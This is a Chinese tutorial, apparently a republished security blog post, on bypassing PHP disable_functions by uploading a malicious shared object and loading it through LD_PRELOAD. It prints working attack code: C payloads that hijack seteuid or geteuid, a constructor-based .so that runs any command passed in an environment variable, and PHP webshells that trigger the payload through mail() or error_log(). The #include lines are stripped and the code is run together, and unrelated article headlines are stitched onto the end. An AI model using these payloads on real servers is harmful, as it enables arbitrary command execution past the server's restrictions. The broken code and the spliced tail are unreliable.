0x00 前言

前段时间碰到拿到shell以后限制了basedir并且无法执行命令的情况,解决办法是上传恶意的.so文件,并通过设置LD_PRELOAD,然后调用新进程来加载恶意.so文件,达到绕过的效果。当时做这道题目的时候是跟着别人的题解直接套的(一道疯狂bypass的题目),属于一知半解的状态,比赛结束之后又耽搁了一两天,才有时间总结学习以下这个方式。

0x01 学习

链接

在学习LD_PRELOAD之前需要了解什么是链接

程序的链接主要有以下三种:

  1. 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

  2. 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

  3. 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。

LD_PRELOAD介绍

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

为什么可以绕过

想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

  1. 能够上传自己的.so文件

  2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数

  3. 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

首先,我们能够上传恶意.so文件,.so文件由攻击者在本地使用与服务端相近的系统环境进行编译,该库中重写了相关系统函数,重写的系统函数能够被PHP中未被disable_functions禁止的函数所调用。

当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。

当执行未被禁止的PHP函数,并且该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了,因为重写的系统函数中的内容是我们可控的,对这部分内容进行编程即可。

PHP中某些函数比如mail()函数调用时,就会调用系统中的sendmail函数,由于LD_PRELOAD中指定加载了恶意的.so文件中覆盖了sendmail函数,所以就会执行重写的sendmail函数中的恶意代码,从而绕过disable_functions,达到任意执行系统命令的效果。

0x02 实践

在这么一个环境中,执行命令的相关函数被禁止

假如直接执行,会报错

test.php

<?php system($_GET['cmd']);

编译so文件

首先查看sendmail这一系统函数会调用哪些库函数

readelf -Ws /usr/sbin/sendmail

从这些库函数中选择一个合适的即可,这里选取seteuid()来进行重写

hack.c

#include #include #include void payload() {        system("touch /var/www/html/success");}int  seteuid() {    if (getenv("LD_PRELOAD") == NULL) { return 0; }    unsetenv("LD_PRELOAD");    payload();}

如果sateuid被调用,那么会加载payload函数,执行命令。

在编译恶意.so文件时,需要注意编译成共享对象:

如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

你要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

gcc -shared -fPIC test.c -o test_x64.so

上传.so文件

上传的方式很多,一般来说,如果能getshell的话应该都有写权限,在suctf2019-easyphp一题中上传了.htaccess文件来覆盖解析,达到文件上传的绕过,从而getshell,在这种情况下,利用现成的上传点或者通过写权限新增一个上传点。

写入webshell

test2.php

<?php putenv("LD_PRELOAD=/var/www/hack.so");mail("[email protected]","","","","");?>

在浏览器中访问 webshell 就可以执行我们预期的语句了。按照此理,我们可以执行任意特定权限的命令。

这里我的ubuntu是没有安装sendmail的,但同样执行成功。一开始不知道怎么找原因,后面感谢我舍友的指点才发现。

在.c中加入死循环来判断到底哪个函数调用了geteuid()

test.c

#include #include #include void payload() {        system("touch /var/www/html/success");}   int  geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } while(1){} unsetenv("LD_PRELOAD"); payload();}

可以在top中看到当前占用最高的一项是其实是/bin/sh,因为死循环一直卡着。

是由test.php 派生出来的,因此我没有安装sendmail也执行成功的原因是sh同样调用了geteuid函数

0x03 通用化

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,比如geteuid()。

在GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor)) 修饰的函数。

__attribute__((constructor))constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数)__attribute__((destructor))destructor参数让系统在main()函数退出或者调用了exit()之后,(被__attribute__((destructor))修饰的函数)

因此,只要php中设置了LD_PRELOAD,并派生了新的进程,将会执行LD_PRELOAD的文件中__attribute__((constructor))里的函数

test3.c

#include #include __attribute__((constructor))void payload() {    unsetenv("LD_PRELOAD");    const char* cmd = getenv("CMD");    system(cmd);}

test2.php

<?php putenv("CMD=ls");putenv("LD_PRELOAD=./test3_x64.so");error_log("a",1);?>

可以看到执行成功。

0x03 参考链接

https://www.anquanke.com/post/id/175403

https://www.smi1e.top/php-bypass-disabled_functions/

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

和preload_通过LD_PRELOAD绕过disable_functions相关推荐

  1. disable path length limit_通过Antsword看绕过disable_functions

    0x00 前言在实际渗透一些php站的时候,时常会遇到有了webshell,却无法执行命令的情况,大多数是因为使用 disablefunctions 禁用了命令执行的相关函数.判断某种绕过方法的关联依 ...

  2. 绕过disable_functions

    文章目录 前言 黑名单绕过 利用 LD_PRELOAD 环境变量 LD_PRELOAD 简介 利用条件 劫持 getuid() 劫持启动进程 演示过程 利用ShellShock(CVE-2014-62 ...

  3. php.ini disable_functions 配置 无效,看我深夜如何绕过disable_functions拿到主机权限

    找了一会找到一个上传点,尝试上传文件 拿到shell 用冰蝎连一下: 三.开启外链拿到数据库 然后尝试找他的数据库的配置文件,因为只能本地连接数据库不允许外链,所以我们可以先传一个小马登录他的数据库, ...

  4. apache启服务命令_apache_cgi绕过disable_functions

    前言 apache有一个cgi模块,该模块可以设置指定文件类型以cgi方式让服务器运行,例如一个不存在的afaafa后缀文件,通过设置,就可以当作cgi运行,因为是直接服务器运行的,所以可以绕过php ...

  5. 通过php内核变量绕过,利用PHP内核变量绕过disable_functions(附完整代码)

    0×01 概述 在https://rdot.org网站上面,有一篇俄语文章专门介绍了如何使用fopen/fread/fwrite函数来操纵内存文件/proc/self/mem.利用这种方法,人们就可以 ...

  6. php curl nginx post 空_【青藤云安全研究】绕过php的disable_functions(上篇)

    今天无意间看到一篇文章,讲述的是某个php站点在限制了disable_functions的情况下,如何通过LD_PRELOAD来执行命令.看完之后复现了一遍,感觉收获颇多. 后来跟随文章提到的思路找了 ...

  7. disable_functions绕过总结

    提要 Linux 中 PHP 环境,已知disable_functions=exec.passthru.popen.proc_open.shell_exec.system请写出两种有可能实现任意命令执 ...

  8. php数字取反,[转+自]关于PHP7的新特性(涉及取反和disabled_functions绕过)

    PHP7和PHP5上的安全区别 preg_replace()不再支持/e修饰符 利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述: 如果设置了这个被弃用的修饰符, preg_repl ...

  9. 实战绕过宝塔PHP disable_function 限制getshell

    一.这次做的目标站点是一个某XX站点,通过前期的信息收集,可以发现该站点是由宝塔(一般根服务器开放端口888.8888和报错界面判定)+ShuipfCMS框架搭建的 端口信息 后台 二.默认的Shui ...

最新文章

  1. Numpy与Pandas基础
  2. 「博客之星」评选,诚信的互投啊,留链定回
  3. 爱因斯坦留下的预言还有几个未实现?
  4. Windows server WSUS补丁服务器搭建(转)
  5. 大数据时代下数据挖掘技术的应用
  6. FFmpeg硬件加速
  7. 如何修改电脑的ip地址
  8. 知识蒸馏论文翻译(9)—— Multi-level Knowledge Distillation via Knowledge Alignment and Correlation
  9. 超越计算复杂性—— 试错、能动和智能
  10. H5写搜索框:将搜索图标放入搜索框之内
  11. 2021年9月国产数据库大事记-墨天轮
  12. Flask-APScheduler使用教程 1
  13. 安装vs无法连接网络
  14. 在线上也能进行商标注册
  15. SPA Matlab Code(转载)
  16. 信息系统监理师视频教程
  17. Python进阶(三十三)Python获取并输出当前日期时间
  18. 2018-2019-2 20189212 《网络攻防技术》第二周作业
  19. Minecraft Paper 1.18.1 版开服教程,我的世界开服教程,MCSManager9面板使用教程
  20. java label设置字体颜色_Java中怎么设置JLabel的字体样式,大小,颜色

热门文章

  1. springboot整合rocketmq_面试官:简单说一下RocketMQ整合SpringBoot吧
  2. 项目的启动顺序_多个项目进行如何做好进度管理
  3. 计算机里的东西太多,电脑里的东西太多,怎么样清理一下啊
  4. python字符串相加_Python实用技法第33篇:字符串连接及合并
  5. Win7旗舰版系统如何设置定时关机
  6. 腾讯视频app怎么允许腾讯视频访问位置信息
  7. 在SpringBoot中使用slf4j与logbak
  8. @ControllerAdvice实现优雅地处理异常
  9. mysql多个分类取n条_MySQL获取所有分类和每个分类的前N条记录
  10. php多个参数绑定,php – 如何绑定多个参数到MySQLi查询